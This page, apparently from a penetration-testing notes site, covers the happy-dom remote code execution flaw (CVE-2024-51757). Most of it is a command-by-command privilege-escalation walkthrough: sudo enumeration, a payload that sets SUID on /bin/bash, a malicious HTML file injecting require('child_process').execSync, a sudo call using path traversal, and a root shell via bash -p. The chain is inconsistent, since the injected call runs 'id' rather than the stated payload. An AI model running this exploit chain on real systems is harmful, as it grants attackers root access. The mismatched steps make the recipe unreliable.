happy-dom
The happy-dom
package is a lightweight, fast JavaScript implementation of the DOM (Document Object Model) and browser APIs designed for use in Node.js environments. It enables server-side manipulation and rendering of HTML content without requiring a full browser, making it popular for testing, scraping, and server-side rendering tasks.
RCE
Versions of happy-dom
prior to 15.10.2
are affected by a RCE vulnerability (CVE-2024-51757) due to unsafe handling of JavaScript execution within the DOM environment. An attacker can inject arbitrary JavaScript code that the package executes without proper sandboxing or validation leading to RCE. A working PoC is available.
An example of leveraging this vulnerability can be seen below.
$ sudo -l
User wp_hub may run the following commands on wallpaperhub:
(root) NOPASSWD: /usr/bin/web-scraper /root/web_src_downloaded/*.html
$ file /usr/bin/web-scraper
/usr/bin/web-scraper: symbolic link to /opt/scraper/scraper.js
$ ls -l /opt/scraper/scraper.js
-rwxr-xr-x 1 root root 1659 Feb 11 10:11 /opt/scraper/scraper.js
$ cat /opt/scraper/scraper.js
#!/usr/bin/env node
const fs = require('fs');
const { Window } = require("happy-dom");
<SNIP>
# Create a payload script that sets the SUID bit on /bin/bash.
$ cat /tmp/pwn
chmod +u+s /bin/bash
Next, a malicious HTML file needs to be created that exploits happy-dom
’s HTML parsing vulnerability. The <script>
tag has a src
attribute with an injected Node.js require() call to execute our payload.
The IP in the src
attribute is irrelevant to the actual code execution — it’s just part of the injection chain.
$ cat /tmp/pwn.html
`<script src="https://192.168.45.170:80/'+require('child_process').execSync('id')+'"></script>`
# Execute the vulnerable web-scraper command as root, passing the malicious HTML file via path traversal.
$ sudo /usr/bin/web-scraper /root/web_src_downloaded/../../tmp/pwn.html
<SNIP>
Node.js v18.19.1
----------------------------
CSS Links:
----------------------------
JavaScript Links:
https://192.168.45.170:80/'+require('child_process').execSync('id')+'
----------------------------
Meta Tags:
----------------------------
$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1446024 Mar 31 2024 /bin/bash
$ /bin/bash -p
Last updated
Was this helpful?